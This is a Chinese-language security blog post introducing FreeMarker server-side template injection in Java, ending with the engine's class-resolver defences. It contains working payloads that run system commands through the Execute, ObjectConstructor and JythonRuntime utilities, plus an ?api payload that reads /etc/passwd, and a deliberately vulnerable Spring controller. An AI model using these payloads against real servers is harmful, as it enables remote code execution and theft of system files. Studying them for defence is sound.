FreeMarker初识

10 分钟

前言

python中存在jinjia2引擎的模板注入,在php中存在注入Smarty Twig等模板引擎的注入,而在Java中,作为当今最火爆的应用开发语言,也存在着三大常见的模板引擎Freemarker Thymeleaf Velocity 引起了SSTI注入问题。总的来说,当通过模板语言去渲染处理模板中的特定参数,将动态数据渲染到视图层时候,如果没进行任何的控制,使得恶意代码能够注入到模板当中,就会导致安全威胁。对自己首次正式了解freemarker模板注入做个记录

FreeMarker模板

Freemarker模板语言(FTL)由四个部分组成,分别如下:

  • 文本:也就是HTML标签和一些静态文本的内容,会原样输出。
  • 指令:<#assign ><@user_def_dir_exp>等系统指令标签,通过指令实现复杂的逻辑和内容的生成。这部分内容不会显示在文本当中。
  • 插值:如${*expression*}等,用于将表达式转换成字符串。
  • 注释:<#---->,注释部门不会被模板引擎解析。

Freemarker模板注入

demo

首先可以先搞一个简单的demo,demo中需要配置freemarker模板的一些指定路径,如下:

server.port=8081
spring.freemarker.template-loader-path=classpath:/templates/
spring.freemarker.suffix= .ftl //一般freemarker模板的后缀
spring.freemarker.charset=utf-8
spring.freemarker.cache=false
spring.freemarker.expose-request-attributes=true
spring.freemarker.expose-session-attributes=true
spring.web.resources.static-locations=classpath:/static/

index.ftl的内容如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Freemarker模板注入</title>
</head>
<body>
    <p>Hello,${user.username}欢迎您</p>
</body>
</html>

写一个简单的控制器:

@Controller
public class Demo {
    @GetMapping("/")
    public String Index(ModelMap modelMap){
        Map<String,String> map=new HashMap<>();
        map.put("username","Aiwin");
        modelMap.addAttribute("user",map);
        return "index";
    }
}

内置函数new

FreeMarker模板引擎中,new 是一个内置函数,用于创建新的实例对象。这个函数通常用于创建Java对象,并且可以调用对象的构造函数来初始化对象的状态。在模板中使用new函数可以方便地创建Java对象并将其用于模板的展示逻辑中。

image-20240514143507347

new内置函数的描述中可以看到,new内置函数可以创建一个对象,如果在Java的内部存在一些类存在能够触发代码执行的代码,并且参数可控制,那么就可以通过new函数触发代码执行,师傅们找到了以下的几个。

freemarker.template.utility.ExecuteFreeMarker 模板引擎中的一个实用工具类,用于执行外部命令或者系统命令。这个类允许在 FreeMarker 模板中执行一些系统级别的操作,比如运行命令行命令、调用系统命令等。

image-20240514144222437

从传入的参数列表中获取第一个参数,该参数是要执行的命令,随后进行命令执行后,将得到的结果通过字节流读取出来,随后变成字符数据返回。

freemarker.template.utility.ObjectConstructFreeMarker 模板引擎中的一个实用工具类,用于实例化对象并将其包装成 FreeMarker 可以处理的模板模型对象。

image-20240514145203326

取出列表中的第一项作为类名进行类的动态加载,随后将列表中后面的字符串作为参数,通过newInstance进行类的实例化,因此这里能够传入Runtime类或ProcessBuilder类触发命令执行。

freemarker.template.utility.JythonRuntimeFreeMarker 模板引擎中的一个实用工具类,用于与 Jython(Java 实现的 Python 解释器)交互,允许在 FreeMarker 模板中执行 Python 代码。

image-20240514145820047

方法重写了Writer中的writer flush close方法,将接收到的字符序列会被追加到一个 StringBuilder 缓冲区中,随后在flush中会执行interpretBuffer方法,这个方法从buf中获取字符串的内容并通过exec执行python代码。

基于new构建新的对象,因此可以衍生出下面的三个payload

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")</@value>
<!--import org.python.util.PythonInterpreter注意引入这个依赖,还需要安装相应的依赖库到Lib中-->
里面的<#assign> 标签用于定义变量。通过 <#assign> 标签,你可以将一个值赋给一个变量,然后在模板中使用该变量来引用这个值。这在模板中非常有用,因为你可以在模板中创建和操作变量,从而实现更复杂的逻辑和功能。

image-20240514151204185

api函数利用

api内建函数可以用于调用JAVA API,通过调用Freemarker提供的API可以获取当前对象的类加载器等,从而动态加载类,达到命令执行的效果。但是注意文档中的信息,在2.3.22api默认为false也就是不能够随意使用。

image-20240514152459921

因此师傅们出现了以下的payload:

从api接口中获取类的加载器,对恶意的类完成类的加载

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
  1. <#assign uri=object?api.class.getResource("/").toURI()>: 这一行通过Java API获取了当前运行环境的根目录的URI,并将其赋值给了一个名为uri的变量。
  2. <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>: 这一行使用uri中的信息构建了一个指向/etc/passwd文件的URL,并通过打开连接的方式创建了一个输入流对象input,该对象可以用于读取文件的内容。
  3. <#assign is=input?api.getInputStream()>: 这一行将前面创建的连接对象input转换为输入流is,以便后续读取文件内容。
  4. <#list 0..999999999 as _> ... </#list>: 这部分是一个循环,它会从0循环到999999999,每次迭代都会执行循环体内的代码。
  5. <#assign byte=is.read()>: 这一行尝试从输入流is中读取一个字节,并将其赋值给变量byte
  6. <#if byte == -1> <#break> </#if>: 这个if语句检查是否已经到达了文件的末尾,如果是的话就退出循环。
  7. ${byte},: 如果没有到达文件末尾,则输出当前读取到的字节的值,并跟一个逗号。
<#assign uri=object?api.class.getResource("/").toURI()> 
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> 
<#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> 
<#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]

例子

以上都是将payload直接写入到ftl文件中进而进行解析,那么在代码层面,如何能造成ssti漏洞,根据网上找的例子,可以看到代码如下:

@Controller
public class HelloController {
    @Autowired
    private Configuration con;


    @RequestMapping(value = "/hello")
    public String hello(@RequestBody Map<String,Object> body, Model model) {
        model.addAttribute("name", body.get("name"));
        return "hello";
    }

    @RequestMapping(value = "/template", method =  RequestMethod.POST)
    public String template(@RequestBody Map<String,String> templates) throws IOException {
        StringTemplateLoader stringLoader = new StringTemplateLoader();//加载字符串类型的模板内容
        for(String templateKey : templates.keySet()){
            stringLoader.putTemplate(templateKey, templates.get(templateKey));//将模板放入到加载器中,key是模板名,后面的模板的内容
        }
        con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                con.getTemplateLoader()}));//设置模板生成动态渲染
        return "index";
    }
}
从代码层面来看,freemarker模板注入造成的必须是能够控制html的内容,它并不能像其它模板注入一样,直接通过参数传参就造成了模板注入。从造成的/template路径中可以知道要造成freemarker模板注入,必须要能控制整个HTML,比如代码中通过键值对的形式能够控制模板的名称和内容,使得整个HTML被动态渲染导致了注入。

freemarker防护

2.3.17官方提供的方法中,对模板的解析进行了限制,可以使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)new_builtin_class_resolver设置,如下:

  • UNRESTRICTED_RESOLVER:通过ClassUtil.forName(String)获得任何类。
  • SAFER_RESOLVER:不能加载上文的三个类。
  • ALLOWS_NOTHING_RESOLVER不能对任何类进行解析

总结

其实上文有一个疑问并没有解决,为什么freemarker的模板注入只能获取整个HTML造成,而不能从参数造成。并且我也并没有去调试整个视图渲染的流程,原因就是我并不熟悉,以上仅仅是简单对freemarker做个记录。

参考文章:

freemarker沙箱绕过

freemarker模板注入

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:FreeMarker初识
文章链接:https://aiwin.fun/index.php/archives/4412/
最后编辑:2024 年 5 月 14 日 17:10 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 3 + 9 =
快来做第一个评论的人吧~